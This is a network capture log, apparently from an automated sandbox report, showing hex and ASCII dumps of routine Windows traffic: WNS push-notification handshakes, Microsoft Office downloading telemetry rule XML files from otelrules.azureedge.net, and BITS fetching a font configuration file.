2024-11-22 13:43:37 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 77 2b 34 34 56 48 49 71 55 47 44 6b 54 56 4d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 34 62 65 65 34 36 64 35 36 64 30 35 65 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Lw+44VHIqUGDkTVM.3Context: a24bee46d56d05ed<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-22 13:43:38 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-22 13:43:38 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 5a 71 46 4b 46 39 34 39 30 69 41 34 66 38 70 2b 4a 4f 38 4a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0ZqFKF9490iA4f8p+JO8Jg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:39 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:39 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134339Z-174c587ffdf6b487hC1TEBydsn00000001cg00000000dv7y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:39 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49781	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:39 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 13:43:39 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF17) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=97323 Date: Fri, 22 Nov 2024 13:43:39 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:39 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134339Z-178bfbc474bq2pr7hC1NYCkfgg000000036g0000000097ec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:39 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:39 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134339Z-174c587ffdf6b487hC1TEBydsn00000001f0000000008dpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:39 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:40 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134340Z-174c587ffdfldtt2hC1TEBwv9c000000018g00000000hhye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:40 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134340Z-174c587ffdf8fcgwhC1TEBnn7000000001s00000000029d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49795	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:41 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 13:43:42 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=97320 Date: Fri, 22 Nov 2024 13:43:42 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-22 13:43:42 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:42 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134342Z-178bfbc474bfw4gbhC1NYCunf40000000340000000003z2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:42 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:42 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:42 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134342Z-174c587ffdfmrvb9hC1TEBtn3800000001h0000000009nbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:42 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:42 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134342Z-178bfbc474bscnbchC1NYCe7eg000000036g000000009kp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:42 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134342Z-178bfbc474bpscmfhC1NYCfc2c00000001g000000000nqm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:43 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 25a1d219-c01e-007a-1943-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134343Z-178bfbc474bvjk8shC1NYC83ns00000002s000000000pfkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:44 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
